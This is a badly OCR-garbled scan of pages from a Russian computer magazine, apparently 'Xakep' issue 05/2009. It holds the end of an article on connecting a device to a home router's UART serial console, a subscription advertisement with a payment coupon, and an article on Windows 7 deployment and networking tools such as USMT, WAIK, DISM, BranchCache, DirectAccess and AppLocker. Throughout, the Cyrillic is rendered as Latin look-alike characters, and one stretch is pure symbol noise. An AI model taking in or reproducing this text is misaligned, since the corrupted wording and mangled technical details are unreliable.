poyrep B asToHoMHbli:i Linux-KoMnbIOTep. co CBoei1 XI1TPOf1 apXlt1TeKTy
Annapa'rHoe ynpoBJleHlol.e rrOTOKOM - HeT
po~. )],nA3Toro Hy:>KHO, "ll05bl AaHHbl8 C KfiaSl1aTypbl nepeA8S3rllt1Cb no
npOrpoMMHoe ynpaBneHlol.E nO'l'O<coM - HET
UART.
VI no HeMy:>Ke BbIBO)J.lilrlL-1Cb Ha MOH.nop. naRTb l.1 pa3pa6aTbisalb
YCTPOfjCTBO 6blno neH1180, TorAa-To l.1 nplt1wn;) lti,Qeq 3alO3aTb AJlA 3Tlt1X CoxpaHREM HaCTpMiKl.1. Colfm1Ha nonpo6yeT np0lt1Hlt1lJ,lt1aJH13lt1pOsaTb
u,elle~ nblllAw,l-If1c>l6e3 Aen8 KnK
MOAeM ~ He o6pa1ll3fj BHVlMaHlt1R. YTo6blsbl3BaTb MeHIO, Ha;:;<,'.AVI ~ctrl-a
no cym, HanaJ\OHHI-1K 6YAeT I1CnOnHflTb ponb KOHTponnepa KJla6l1arypbll-1
z>. TaM MO:KHO MeHSHb HaCTpOHKlo1, HanpVlMep: BKnI04l.1Tb!SblKJlIOYVlTb
J],l-1CnneR, Hy ltl CnY>KIHb conpQ>KeHl-1eM l-1HTepepefjcoB. CHa .... aJla
3XO -
E.
60Ban )J,pesHe~Wl-1H Palm
fl
nonpo
ml 00. Ho, BI1AL-1MO, y Hero OyeHb ManeHbKaR
6y¢lepHa" naMRlb, l.1 OT KOJll1yeCTB3 J],3HHbIX, KOiopb1e lt1AYT C pOyTepa, eMy
f:!
HACTPolilKA
51 S3RlI ,[1,pyro~ COM -nopToM l-1 TepMl.1HaJlKOf1.
CTaHOBlt1JlOCb nnOXO.
$1 He peKOMeH,QylO nOAKJllOyaTb Mlt1KpOcxeMy npeo5pa30SaTeJl51 K poyrepy.
HblM
npOMblWIIeHH bl ~
KnK,
C HopManb
na6bl npOSep\1Tb ee $Yj.lKL\lt10H8n. AonycKaeTcR TOJlbKO 6paTb C Hero
nO,o,KnI04I1n, 8CT3SI111 B ,lJ,OK lt1, 8 pe3ynbTaTe. nOllY«l.1Jl He60Jlbwoli1 nlt1~IYKC
nlt1TaHlt1E. nposepKa npOXOAlt1T oyeHb npono -
KOMnblOTep.
RX c TX.
Heo6xo,Qlt1MO nepeMKHyTb
CHayarla nepeMbl KaeWb B COM-nopTe 2-fjltl
3-1.1
KOHTan
npoBepRewb HacTpoi1Klt1 TepMlilHanKlt1. nl-1WeWb 4TO-TO He KnaBe: eCJ1\-1
B npl.1Hl.Il.1ne, BMeCTo ,QOporylllero npOMl>IWJleHHoro KnK
no,ooi:iAeT 60flbWlt1HCTBO Hana,D.OHHl-1 KOS, pa60TalOw,lt1X nOA onepaL\lt10H KOfj WinCE, rna SHoe -
HawH1 nOAXOA>lll.1l-1W TepMl-1HanbHbl~ co¢r.
Clt1MBOnbl B03Bpaw,aIOTCI<, 3Ha4l-1T, 8ce OK. TaK:>Ke nposepRewb Ka6enb. Te :Ke KOHTaKTbI. nOTOM nOAKJ1IOLlaeWb Ml-1KpOcxeMY. 11 y>Ke y Hee Ha BblXOAe CTaSlt1Wb nepeMblYKy. s:J 3aOCTp511O Ha :nOM BHl.1MaHlt1e, nOToMy YTO, Ha npltl Mep,
y MeH>!
B03Hl.1KJ111 np06neMbl, L-1 Hlt1yerO He pa6oTano, nOKa fl Bce He
npOBCpL-1Jllt1 He H3wen OWl.16Ky. nocne scex H3CTpoeK MO:KeWb CMella u,enMHb K poyTepy L-1l.1CKaTb
;~
mIo1TOrlo1 VlTaK, q nOKa3aJl He60J1bW0f1 npl1Mep l-1CnOnb30BaHl-1S1
pa3Jll-1YHblX >Ken€30K. ECTb OH npaKTt-lyeCKl-1 e€ 3 Ae.
RX- TX
UART
ECJlltl T:'I
BKYPlt1Wb B :nOT npoTOKon, TO nOD€ p b. CTaloieWb npOCTo nOB€Jllt1TeneM VI yepe3 Hero MO:>KHO
conp51raTb. K33allOCb 6bl. cosepweHHO pa3Hbl€ sew,l1. K npl-1Mepy, K TO My
Ha poyrepe, nepl1oAlt1yeCYI<l Bbl,D.eprl-1S3>lltl3 Hero nl-1TaHl.1e. ECJ1L-1 Bee
:Ke poyrepy npl1 He60J1bWl-1X HZCTpOI1 K3X nOAKflI04aeTC>l Mo6ltlrlbHbli:i
CAeJlZlHO npaB/IlnbHO. TO npl.1 no,o,ay€ mtTaHL-1" Tbl YBl.1AVlWb Jlor 3arpY3 Kl.1
TeJle¢OH no lOapT)', -\1 pa3,1J,aeTC Hero ltlHTepHeT.
poyTepa. np>1HI1Ma~ n03,QpasneHVI>l. Tenepb y Te6>1 nOJlHbl~ annapaTHbll1
Kyya. He 6oi1cR3KCneplt1MeHTl-1pOB3Tb, caMoo6pa30BblSaTbCRlt1 peaJ1ltl30~
pyr, raK, 6YATOTbi Clt1Alt1Wb3a MOHlt1TOpOM C KrlaBoi:i pOYTepa.
8aTb CBOI1l-1Ael.1. YAa4l-1. Xal.lKep.x
~ 118
B 06W,€M, npV,M€HeHI1v,
XAK£P 05/125/ 09
.....r=
~~~~~~r~~,
DVD $ BblrOAA. rAPAHTMSI. CEPBMC
...., F l H E P +
rOAOBASI nOAnMCKA no UEHE 2100 py6 [Ha 15% gewesne yeM •
npVl nOKynKe S P03HVllWI
E,AItHilR "eMil no Beew POCCItIl. AOCTaBKII 3a ['leT HMillenH,
BTOM 'iMene KYPbepOH no MOCHse Bnpenenax MKAA
BHMMAHME! BTOPOE CnEunPE,D,nO>KEHME! npH nOAnHCKe Ha KOMnneKT )I(yPHallOB
)KEJlE30 + XAKEP + DVD: -OA"H HOMep Bcero 3a 155 py6ne" (Ha 25% AeweBne, 4eM Bpo3HHUY)
3A 12 MECSIllEB
3A 6 MECSlI.\EB
., &
nOAn"CKa Ha )I(ypHan "XAKEP+DVD" Ha CTOHT 1200 py6.
6 MeC"ueB
KAK OCDOPMMTb 3AKA3
Y1
i.Iii
~
B~lpe3aB ~!
1. Pa360p4HBO 3anonHHTe nOAnHCHOH KynoH HKBHTaHUHKl, HX H3 )I(ypHana, CAenaB KcepOKonHKl "nH pacne4aTaB CCaHTa www. glc.ru. \& 2.0nnaTHTenoAnHcKy4epe3C6ep6aHK. 3. BblwnHTe BpeAaKU"Kl KonHKl nOAnHCHblX AOKyMeHToB - KynoHa" ill KBHTaHU"H - nKl6blM "3 HH)I(enepe4HcneHHbiX cnoc060B: !Ii • no 3neKTpOHHOH n04Te subscnbe@glc.ru; .t • no cjlaKcy 8 (495) 780-88-24; W• no aApecy 119021, MOCKBa, \\i yn. T"Mypa <1lpyH3e, A. 11, CTp. 44, ~ 000 "reHM 1l3HA", OTAen nOAn"CK".
*
w
I
~
BHMMAHME!
,
ID
I ~
\ ,
j[l
~
~
I
to nOAllHCKa cxtx>PMn"eTC" BAeHb o6pa6oTKH KYnoHa " KBHTaHUH" Bpe/IBKU"": I1l
1:., • B re1.l8Hl-18
~
mnVl
pa604\!1X AHe~ nocne ompaBK~
peA8Klll-1KJ no epaKcy
\l!n\!1
nO.L\m1CHbIX
AOKyMeHToB B ~,
3neKTpOHH0l1 n04Te;
!;;i • BTe4eHHe 20 pa604Hx AHe_ nocne OmpaBK" nOAn"CHbIX AOKyMeHToB no
i;
~
ill
n04ToBoMY aApeey peAaK4HH. ';;. ~ PeKoMeHAyeM Henonb30BaTb <paKc "nH 3neKTpoHHyKl n04ry, BnoeneAHeM 1~ Yi cnY4ae npeABapHTenbHo oTeKaHHpoBaB HnH eepoTorpacjJHpoBaB AOKyMeHTbL f<i :g nOAn"eKa O<j>opM""eTC" CHOMepa, BbIXOA"Ujero 4epe3 OA"H KaneH· \h W AapHbl;; MeC"U nocne onnaTbl. HanpHMep, een" Bbl npOH3BOAHTe onnaTy B ~ ~, an?ene;.TO:YPHan 6YAe~e ~.onY4aTb CHKl~~. >" " , •• •• ~
~~1~'~;f~~ii.'l?~
no BceM Bon ocaM , CB"3aHHbIM CnOAnHCKOH, 3BOH"Te no 6ecnnaTHbiM TenecjloHaM 8(495)780-88-29 (An" MOCKBH4eH) " 8(800)200-3-999 (An" lK"TeneH APyr"X per"OHOB POCC"H, a60HeHToB ceTeH MTC, 6"llaHH " MeracjloH). BonpOCbl o nOAn~cKe MOlKHO TaKlKe HanpaBnRTb no aApecy info@glc.ru ~J1~ npoRcH~Tb Ha caHTe www.GLC.ru
r---------
--------.,
noom1CHOIiI KynOH npowy Q¢)OPMIilTb nOJJm1CKY HA )f(YPHAn«
o o
Ha Ha
6 MeCl<l.\eB 12 Me<:SlL.l,ee
VlHH
7729410015
A6 "oprp3C6AHK .. ,
200 r.
H3'-lIo1Ha5l C
I.
MOCKB8
pIC Ng 40702810509000132297
o
,QOCTaanmb ~HaJ1 no l"IO'IT6 H3 J:\OMaWH\Il\ll a,Qpec
Klc Ng 30101810900000000990
6V1K 044583990
,QOCTaSmlTb >K)'pHan KYPbePOM:
o
Ha
D
Ha AOM3wHI.11:i a,lIpec**
atwec
O¢\Ilca
Knn 770401001
* A,Qpec (c \IlH,QeKcoM)
CyMMa
Ha3Ha4QI-l\ll8 nnaT8>K8
OnnaTa >KypHaJl8 «,
¢I.VI.O.
,,,
200
c
Kacctfp
~
<l>.V1.0.
A,QPEC AOCTABKM: VlHH
7729410015
KBHT8HIll1.Sl
AS "Oprp3C6AHK". r. MOCKB8
p/cNQ40702810S09000132297 yIlltlUa
KlcNg301Q18109000QOOOO990 LlOM
KOOfWC
Knn 770401001
6V1K 044583990
TenectxJH (
CyMMa
Ha3HayeHl-1e nnaTe>Ka '.~(lQ{I"Y""""'''''''_<l>MP''''''
"~
OnnaTa >KypHana «
..",,6x<,wn.Y'" -:><lpMallO"Q
..
··"~n",, Y"'l""'J:IPY'Y'D~Y"'""4><>Pn'U""' M_ _T_wi! oapMaHT llOClae"" B c~ OTCYTcTB""IlOUa
I"~""n"~
200 r.
C
¢l.V1.0.
,one
KacC'wp L
"
_
nOAm1Cb nI18Tenbl1.\ltlKB
-----------------_
.J
\9 I~
I:~
O.n/\,QIMolIo1P
.1URBINA~
MIWI:Q
I V.TURBIMAlilGMAIl.CDH I
I '\
~lN-inOOws-!J-FJIa3aM~
IT ~Rell*a-n~CTa
I ,I
Windows 7 3aAonro AO n051BneHV151 nepBblx C60pOK Bbl3Bana orpoMHbl~ V1HTepec cpeAV1 IT-cneu,V1aflV1cToB V1 npoCTblx nOflb30BaTefle~. VI XOT51 ap xV1TeKTypa, nOCTpoeHHa51 Ha KOAe Vista V1 Win2k8, OCTaflaCb, B o6w,eM, HeV13MeHHo~,
B «ceMepKe» V1 conyTCTByfOW,V1X V1HCTpYMeHTax CAeflaHO p51A
Ae~cTBV1TeflbHo none3HbiX ycoBepweHCTBoBaHV1~. OHV1 n03BOfl51TaAMV1
HV1CTpaTopy nOflYLJV1TbnerKoynpaBfl51eMYfO V1 6e30nacHyfO cV1cTeMy.
_ I MHCTPYMEHTbl PA3BEPTbIBAHM~
ScanState moco6eH npOH3BOl!:H"I'I> cGoPAaHHblX U3
K81'aJIOrH311p)'lOTCfI, 3aTeM KOTInp)'lOTCR 86e30nac
, o
ITpe>KAe Bcero, npoH30U1JJlJ:H3MeHeHHfl B HHCTpY
Hep360TInO~eHCl1crCMbI (HanpHMep, HCllOJIb3Yfl
HOC MeCTO M nOCJlcyeTaHOBKH OC
MeHTaX,lVlH C60pKH CHCTeMhl. CaMhlM 3aMeTIfblM
WindoVl'S PE) 1I60JICeTO'IHO OtIpeJl,eJmTb Tpe6ye
06paTHo. Y<fHTbIBM, "ITOo6beM,lJ;aHHbJ.XKIDK,ll,oro
<
Z > 00
CTano BKJIlO'IeHl1e Cpe,n:CTBa MH rpaqHH nOJIb3O
MbIHp,lm MHrp<n(HH pa3Mep pa3AeJIa H BpeM.R.
nOJlb30B81'eml MO:>KeT rrpeBl:..Il11aTb HeCKOJIbKO f6,
l3aT(~JlbCKOH Cpe,lI.hl usrvrr (UserState Migration
B Cl.\eHapHH Config.xml nOllBllJIHCb HOBble
;;lTO nOTpe6yer AonOlIHli'reJlbHOro MCCTaJVUI HX
Tool) BCOCTaD WindowsAIK CWindowsAutomated
n3p3Me1'pbI Ii ceK1V1H. HanpHMep, CeKl\HlI
XpaHeHIDI 11 pecypcon. B HTOre, pa3l3epTblBaHl1e
InstaU ation Kit, ITal<eT ClBTOMaTWle<:l<OH ycr3HOBKH
<ErrorControl> rr03BOJHIe1' YKa3aTb ClfCTCMHblC
CHITeMbI Ha 31'OM 3T3ne CRJIbHO 3aMeA>1JIeTCf/. B
Windows). ITpe,ll;Ha3HaQeHO OHO,D.JUI. 6blcrpOro
q,aHJIhI, OlliH6KH <.J1'cHHfll3anHcH K01'OPbIXMOJK
H080M WAlKBMecro nepeHoca BeeM HHcPopMaWtH
nepeHoca $aMOH, HacrpoeKOC H npHJIO)KeHHH, a
HOHrHOpHpoaaTb, He npepbI13M oncpaLJ;HJo. npH
HCflOJlb3YeTOi TaJ< Ha3bmaeMa5I MHrpaLJ;J.Hf}KecTKHX
T3lOKe napaMeTP0B nOJIh30BaTelJeH fipH MaClUTa6
3anycKC C KJliOQOM
HOM pa3BepTbmaHHH OCOT Microsoft.
C03AaeTCfl.CCKI.J;IDI, B K01'OpOH onHcaHbI Ha
napaMeTIX>M lhardtink.
Bepcru1 USMT 4.0 nonyquna PJVl: HOBblX B03MO)K HOcre1i. Tenepb KyrwnrraM ScanState (c6op<paH lIOB H napaMeTpOB) H LoadState (nepeHOCtlaHHhlx)
HGOJIee 1'HIm'lHble CH1'yal\HH .l-I.Be 4>YHKl\HH
TeJ1bHOH CTeneRH coKpaTHTb 06'beMbl KomfpyeMblx ,wntHbIX, a3Ha t j:IIT, YMeHbWRTb npellrn Ha pa3Bep·
,ao6aMeHa H08a.ll.- UsmtUtils-I1XllOnOJlHJUO
MigXmlHelper.FilcProperties J.1 MigXmlHelper. GenerateDocPatterns Moryr 6bITb HCIIOJlb30BaHbI Aliff KOHTpOJlfl MHrpal..{I1H cPaHJlOB 110 onpCAe
maR. UsmtUti!s 06J1a.,1laeTBcero,lJ,BYfl.tlI rrapaMeT
JleHHblM KpHTCpHlIM (pa3Mep, BpeMR: C03,l1;aHlliI
Igenconfig B Config.xml
CCblnoK (Hard Link Migration), aKrnDHpyeMaR
31'0 rr03BOJI..ReTB3Ha'lH
TblBaHHC H BOCCTaHOBJIeHHeCUCTeJ.lh1.
ScanScate c:\store 10 Ie li:migapp.xrr,l Ii :miguser .xml /nocompress /hacdlink OTHbIHe E c; \store 6y/IYT xpaHMTbOl )KeCTIrne
paMH. npH nOMOJ..QH lee MO>KHO TTOJIY'IHTbCnHCOK
H MOAHlPHKaUHH H 1'.A.) J.1 nOHCKa .uOKyMeHToB
TIOMCp>KHBaeMhlx aJIroP"TM06 IlIHtPpoaauHJI
TIOJLb30BaTeTlfl
(AlgIDs) BTeK}'IlJ;CH CHCTeMe. A Id YAAJIfleTcchllIKY
HbIH cnHeOK rpaHJIOB, KOTophle
Ha Ka1'WIor, HCnOJIb3ycMhlH B apryMeHTe KOMaH,!J;hI,
Hbl, MO)}{HO npl1 nOMOI.1I;HCneLtHaJlbHOrO KJIIOl.fa
cPaH.nOB, 3a6.nOKHpOBaHHbIX TaKlfMH cCblllKaMH) .
li3 6a3hl, CtPoPMupoBaHHoH ScanState. nOCJIt',l(Hee
/lisrfiles. HOBbIH paJ,lJ;eJI <ProfileControl>
Y'lJ'lTbfBaJf,
nonC3Ho np" y,lJ,MeHMH }KeCTKl1X CChDIOK, 3a6JIo
.a;OCTaBJlJl:eT B03MO)KHOCTb H3MeHHTb lUIeHCT80 B
npouecc npOHcxo,ll;J-IT 33MeTHQ 6bICTpee. 3a Hard
lillpo6aHHbIX no pa3HbIM npl1'IHHaM. H}?KHaR HH
JloKaJIbHOH rpynne D xO;:J;e MI1rpaLJ;HH.
Link Migration B XML·q,ailn.ax OTBet.[aeT ceKlJ,I1JI
tPopMaLJ;1 tfI AJ1SI ScanState/LoadState no- npe)KHcMy
nepeHoc nOJIb30BaTeJlbCKJ{X tJ;aHHbIX npH YCTa
<HardLinkStoreControl> .
HaxO,lJ,HTCfI B HecKOJlbKHX XM:L-1?aiinax nepe'Hoca;
HoaKe CHCTeMbI -
Er.u;e O,D;I1.H HOBhlH KJIIO'I Ivsc KOM3R.1I;blScanSrarc
MigApp.xml, MigUser.xmt, MigDocs.xml, Config. xml (C03.ll:aeTCR npH nOMOllJ,H Igenconfig). Tcnepb npH nepcHoce yqcrnolt 3a nI-t'Cll HC TpC GYCTCR 06113BTe1IbHoe IIO,[lKJUO'ICHHC KAOMeH)',
I
B03BPaJ.1.l8IOTCH
~
120
fJlaBHOe -
Ha I(OMnbIOTepc. nOJlY""lITb nOJI
6y;:J;yr nepeHece· npe
CaMaR OTBeTCTBeHHM 'Iacrb.
HH'lerO He nOTep1ITb, H CAelIaTh TaK,
CCblllKH Ha Ka}K,£I,bIll rrOJIb30E3TeJIbCKJ.fH
epafuI. npU
rrepeHoceOC)KeCTIOIH,D;HCK6Y.D;eT04f.nu;eH (KpoMe 4TO,D;aHHble, no CyrH, He KonHpYJOTCR,
n03BomteT HCllOJIb30BaTh clYJK6yTeHeBoro
<.JT06hl no.ilb30BaTeJlb, 3arpy;mDwHcb B HOBytO OC,
KOmlpoBaHM (Volume Shadow Copy) AJlH JaxBaTa
cpa3YMOr npl-lcryrII-ITh K pa60Te. BeCh npol..{ecc
¢aiinoB, 3aMoKHpoaaHHblXAPyrnMH npHJIO)lCeHH
BblrJlflAI1T ClIe,D;yIOlUH:M 06pa30M. CHa<{ali a.u8HHbIC
flMM.
LVur IllH¢ponaHIDI ,D;aHHblX 6 TpeTbeH neponi
- - - - - - - - - - - - - - - - - - - - - - - - - - - - + 1---+ XAKEP
os 11251 09
---.
~
USMT HCIl0JIb300ClJ1Cfl aJlrOpHTM 3DES, -
Tenepb
CETEBblE B03MOlKHOCTH
3HClJ.OrwIHhIH <paM, cepHep npoBepHeT 3anpa
'1epe3 napaMeTP lenCryptMO>KHOYK83aThAES e
Bce H0J30J3J3eAeHlUl B CeTeBblX npcrroKOJIax, KOTO
WHJ3aeMb.le.n:aHHhle Ha npeAMeT HX B03MO:>KHOrO
KJlf{NOM
12S/192/256611T.
HOBaH BepCHJ'l WAlK no,a...a;epiKHBaeT y-HH
pbJe 6bIJIH AOCT}'TIHbI B VistaH Win2k8, HHTerpHpo BaHbI HB Windows 7. HanpuMep, nOMe(»K.K3 5MB
lGIlIHpoBaHHll. EClm :;lTO notJ,TBep:>KAaeTCJl., TO 06"
<pHl.\lIpOBaHHYIO KOMaH/J:HYIO Y'l'HJIHTY
2.003Ha"laeTYCKOpeHHoeKonHpoB8Hue~afi.,loB
MaQllH, OTnp3BJIReTCll TOJIbKO DIU, no KOTOpoMy
DISM (Dep10yment Image Servicing and
no ceTH 3a C"I.CT naKCTHOH OTnpaBKH AaRHbIX,
HaxOAlITCllK3IlIHPOB3HHhle;:J;aHHble.
Management), HCnOJlb3yeMYIOtVIn nocTpo
KOr,l{a nOtuBep~eHHeAaeTOl
OOMep;>KHBaeT CTalI,2J;apTHble npoTOKOJIhl HTIP/
emUi H 06CJlY)fU1.13aHHH WIM-06pa30BVista
Ka)l(J.J;blH naKeT, KaK:nu6bLl0B 5MB 1.0.
SPI, Win2kS, Win2kS R2 H Windows 7. DlSM
Ha rpynny, a He
Y13MeHe
paTHO, -aMeCTO nOBTopHOH nepe,ZJ:a'lH BceH HHlJ?Op
BranchCache
HTTPSH5MB, 'ITO n03EOJUlCT B3aHMO,1\eHcrBo
H HH H creKe
TCP/IP II03BOJ"UnOT ycraHaDJIHl3aTb p,lIHaMWIeclOi.H pa3Mep 6yepepa, TOrA3 RaKB 5MB
BaTh CnIHpOlru:M cneKTpoM npHJIO>KeHHH. HOBM TeXflOJJOrWl MO>KeTpa6oTaTb B O,D;HOM 1-13
(pkgmgr.exe), PEimg H lntlcfg, KOTopble,
1.0 6y4>ep6blJl <pHKCl1poBaHHhlH (64K6), 'ITO
;:J;ByxpemHMOB:
KCT3TH, HHKy,n;3 He ,D;eJIHCb H TaK)f(e aXO,ZVl'l'
3aMe.lVUVJO n epe.n.aqy60J1hIlIHxnOTOKOBAaHHb.lX.
• Hostedcache-JGIlIHpyeMbIe,n;aHHhlexpa
B pe3yJIbTaTe, cpe,n;HIDJ CKOpoCTb KOnHpOBaHJUI
IUlT01 Ha OT,1\eJ1bHOM cepBepe, pa6oTaJO~eM nOA
~YHKI..J;IIOHaJIbHO 33MeHReT
B eoeTaB Windows
Package Manager
7 H Win2kS R2. MO)l(HO
A06aBJIRTb HilM Y,l\aJIllThApaHBepa K MOHTHpy
¢ai1JloB yaeJIH'IHJlaCb npH6JIH311TeJlbHO B 3 pa3a!
ynpaRIIeHl1eU Win2k8 R2. 3TOT ))e)KHM YA06eH,D,JUl.
eMbIM HlIH YJRe pa60TalOIItHM06p333M (paHee
TalOl(e 5MB 2.0 pa3JIRQaeT CHMEOJlWleCKHe CChUIKM
60JIbWliX cereH.
.lI.paHBep He06xo,l\HMO 6bIJIQ HHTerpHpoaaTb
NTFS H 1l036OMeTHCnOJIb3013aTb HX B Ha3B3HlliIX
• Distributed cache- pacnpe.ll;eJIeHlibIH lOlli,
nepe.a. Ha"laJlOC\t pa3aepTbIBaHHn). KpoMe WIM,
ceTeBblX pecypC013. DpH 06MeHep;aHHblMHCOC He
KorA3A8HHbre IGWHpYJOTCfI Ha KJIHeHTCIillX KOM
003?f0}f<Ha pa60Ta H C VHD-06pa3aMH,
HYDKe Vista,
OTMeTHTb,
VHD-AIIClUt BHpTYaJlhHbIX MalllHH, a VHD Boor -
Cnetl;yeT
Windows 7 n03BOJUIeT MOHTHpoBaTb epYHKJJ;HR
JlerKO nepeXO,ll.HTh B BHpTyaJlbHYro
cpeAY H o6paTHo. WAlK IlQAAep;>KHBaet pa3BepThlBaHHe Windows
5MB 2.0 YCTaHaBJIHBaeTClI aBTOMaTH
nblOTepax H no (WUpoKOBCLQ3Te.l1hHOMy) 3aopocy
QeClO1; HH3're HCrrOJJb3yerCI YCTapeBllIall Beparn
nepecblJla.JOTCl'l Ha.ll.pyrHe CliCTe~lbI.
rrpOTOKOJI3,
nplf nocrpoeHIfH BranchCache Y~ITeHhI BceTpe
B Windows 7 nORBWlaCh HHTepecH8Jl <p}'HKI..l;ID.I
BranchCache, n03BOJlJlIO~a..R nOBblCJITh CKO pOCTh pa60Thl cent H CHH3J.fTb BpeM1l3arpy3Kl1
TOJIhKOy6ep;HBWHCh, <tTO ,tIa.HHhll1. J:(JU1eHT IfMeeT
npHJlO>KeHHH Ii H3rpy3Ky Ha BHewHHH KaHaJ13a
JI1XHf3BD,llHTOI CBepKa J3epcVlii, rapaHTJ.1py5l., 'ITO
6oB3HWl6e30naC.HOCTH, TaK, cepoep l)bl.ll.aCT x.:'.!IlI, npaBO 1l000000IHTb HCKOMbiti epa(lJl. npH 3anpote
7HWin2k8 R2 B,llOTIOJIHeHHeKcy:w;ecrBYKJIUllM WinXPSP3, VisrnSPIHWin2k3.
C'leT lGWHpOB3HIVI A<lHHbIX.
P1J,aoBble nOJlb30~aTe..ll1 AWl KOnnpOE3Hllil Ecex Ha
nOJIb30BaTeJlbOTKpblll CTpaHHQY J.fJIH CKaQ3Jl
IJ;llil epati.n.a.
crpoel( H nepeHocaAaHHbIX Ha EHelUHlIHHcroqHHK
<paiin. ccep6epa roJlOOHOro oq,Hca, -era KOITllil
PaHeeMll nO,D;KJUOQeHlliI Mo6HJ1bHhlX CI1CreM K
MOryI' BOCnOJlb30BaTbCR ynvIHToH Windows Easy
COXp3HReTOt
Transfer.
TeJIb, BXOMI..I{lIH 63T)'>Ke ceTb, 3anpawHBaeT
XAKEP 05/1251 09
BbJrJUlAlIT 3TOTaK.
BlOwe. Kor.lt3APyroH no.nb30Ba
6Y;:J;eT AOCTaBJIeH3 TOJll>KO CaMM nOCJletl;HJtJI
peAaK
KopnopaTMEHOH. ceTH HClJOJIb30J3aJ1aCb TeXHO
JlOnUI VPN, H caM npOQeccTpe6oBaJI HeKOTOpOH.
~
121
---+ 1--- - ---::~= <i\ ~ ' " j =
I
,
..,.
,.,
""~
,_
"'-"0
1""'~.:rJu:.o
u.JU\lJI"II!I
=-----------.3.(f1 '9~"l'<'t(------~'f!. I:¥ '{j\\~ - .. ., .... "=J";
~~I~
~~
O..!'to. c.....'~...., • ,,~,",,".~_,-:=c.c,-------
:""'"IP,,,,tIo<n< ;,-......... s"... otjo
........" ...
.,.-,
'ld~.,~."<1'"'."
O,?,-, ~.(~~~':::;::"""~_ ...~,,,,, ... ,,,,,,,, l".t~>f>G"«","".<~.""<n"
..
riI
~
~~,.~~~~~~~~~,;all
aGo
.r;1Is;:;::::>.
bcl:4i!k
,
......
.?9- .......... :'<\;".,
;,"'~" .....'on<!F_·1
'"""",.I;,,'~"
iIi ;~::~~:%~f~~..:""len"«l ("" ,,, '>0"'"
:lo<t.l'ni w i"-..-d"'011 ;",d~"",
f~,.. '"
'"'I'J" ........... -~, ~
1
.............,0-."
~,,...
", .,"," 'e. ""'f4o' ......-. .""1' ,"'" ,'" ,«'W
c........ ,.k"""" ""'r"'.''''''''
~"""., do
.
"-~ ~~~<;;';.~;,~;.:.:,~~:..,.".o.,""" ~'-;J ~,~~"~';~:.~I~..~.l"'.""eo.' "'_. "$'-... " ...... ,"'1' "!"',j"~,, ....
e
;;.
HaCTpO~KIo1
_~
""-~~
,~
'.W.oll.w.'<I~' , ( ,.." ..... ;"'......4<0'.
""'.....
,-..0.,
..
......... .."'N_.,,"'_.-..-- -'''''
~b ~7,:\.~~=:'· .~~< ,"~,',''''~."O
....
c""""_'o.~y,,..· ......,.',·.•
k
I'cw"," Optiool
.........
a~
:='=.:,:--:..-.:;::::.;.:,:..,-.:::;.~:..'1::'.....::-.:.::;.~~_ ...
"" "" ..""""clr...... ""''''""'''''''r...< c..«h, ,.".".·.'k.''''''...... 19:..0.:·"",,,,><.<·,, <. . " . " " . " ' , ' .... " , '9~""""''9'
;o,"r
·tl"'f.1Q-.,:Vll
......."""'.. <" ..... -...,......... .....,...,.,,...
,,,,.r.o ,,,.'t1 '~'.~l'
("",o;.v"" ...
,.•",.. ,~".""".out<"••"._r''''"
~ SY",e",
·W·"',,· .....
".h"
_'"'·;::;-·;;;:;;:,~l'llEla;l:'l ..
iOV·,,·,_,.;,:··-.:;;;;;:;~==--_···--~-----"·l;;.r:----
_
... .... .. ....""' ... ~._' ~
_,-~
~~-,~
..... --...- ...
_
_....
,
c.~~
~.~-
F~~[jlJad:
.;" j':;)t:oe-:JI!il[1.1
D"-iie. :-oonagtr
AKTVlBVlpyeM BitLockerToGo Alll'! $lleWKIo1
•
r;=-r
B Windows 7 60Jlee JlOr\.1'1Hbl
HCOOJlb30naHWI nporpaMM SRP (Software Restriclion Policies). HaCTpOHKa AppLocker npoH3BO.D;l1TCR npH OOMOutH rpynnoBblX nOJlHT"'KHa cepBepe winZkB R2. npH noCTpOel-OU1 npaBi-UIa MOJKHO )'K33aTh nyrb K~3fuzy,}{3WIi ~HcI'POBy1OnOJJ;nI1Cb.
notJ;I'OTOBKH nOJIh30aa'reJUI,lle roBOpJl )')Ke 0 TOM, 'ITO a.l\MHH
~
links
Ec..1H rrpHXop,lITOI JJ;eJIHTb KQMllbIOTep CJJ;pyrHMH nOJU:>30BaTeJUl
,lIOJDI<eH6bVJ BcenpaBWlbHo HacrpoMTh. npH HaJllfi.l1H B KOMna
MH, KOTopblem06mMeH.fITb HacrpoHKH HJIH cnoc06Hbi y,ll,aJIliTh
HHI1 KJnteH'I'CKHXCHcreMWindows 7 H cepBepa Win2kB R2AJlfl
'I)')KOH cl'3H:JI, Ha nOMOlll,b npHAeT q:,YH1<l.\IDl. "pc Safeguard»,
,lIOCl)'Ila K pecypcal\i: BHyrpeHHei1 cern: MmKHOHcnOJib30BaTb
KOTOpaR 3KTHBHpyeTOl ycraHoBKot'! nepeKJIIO'l.aTeJl1l "Turn On
HOBytO <PYHKU,HIO DirectAceess, n03BoJmIOW;ytO YcraHaBJIl1·
PC Safeguard» SceOHCTBax 06bl'llIOt'! (He Cl,4MHHCKOI1) }"IeTHOH
naTb3~uteHHOeCOeAHHeHHenonpoToKOJlaM IPsec HIPv6,
3anlrCH. OOC}le BblXo,na H3rnCTeMbl Bee H3MeHeHHJI B Hacrpoi1·
npHMeH.lUl AJlfl illlfcl'POBaHilli TPa¢IHKa aJlrDpI-ITM 3DES HJlH AES.
Kax 6Y.llYfOTMeHeHbl, a HOBbJe 4>ai-UIbl- YJJ;aJIeHbI
·6eTa-Bep01l0
CXeMa Tal{QH CB1I3H BHeWHe noxoma Ha VPN. f.llaBHbIM OTJII1'U1'
TpaLl;mr BCHCTeMe llill1 C03,lJ;aHIDI HOBoro q;.atiJIa nOJLbJOBaTeJlb
Windows AIKAJHI Windows 7 MO>KHO 3arpy3VlTb c lechnet. IT1!£[osolt.com/
eM DirectAccess OT VPN JlRJUleTCiI ycraHol3JleHl1e OOeJ\HHeJum B
npe.llyl1pC>K,ll3eTOI 06 3TOM) . Ecrb a03MO>KHOCTb Bbl,lI.eJIHTh K<UK
4>oUODOM pe1KHMe 6e3 yqaC'1Wl n0Jlh30BaTeJlfl. 3To ,lIeJlaeT pa60ry
A0M}' 1l0JIh30BaTemoJlorn'l.eCKHH ,1I}ICK onpeAeJleHHOrO p<l3Mepa.
npo3pa'IEOH, MaKCI1MaJIbHO OpOCTI)J1 H Y,l106HOH. CHCTeMHbfH
PaHee, '1T06bl nO;ly"Ui'Tb cI'}'lllQ.I.HOHaJIbHOCTb PC Safeguard, HC'
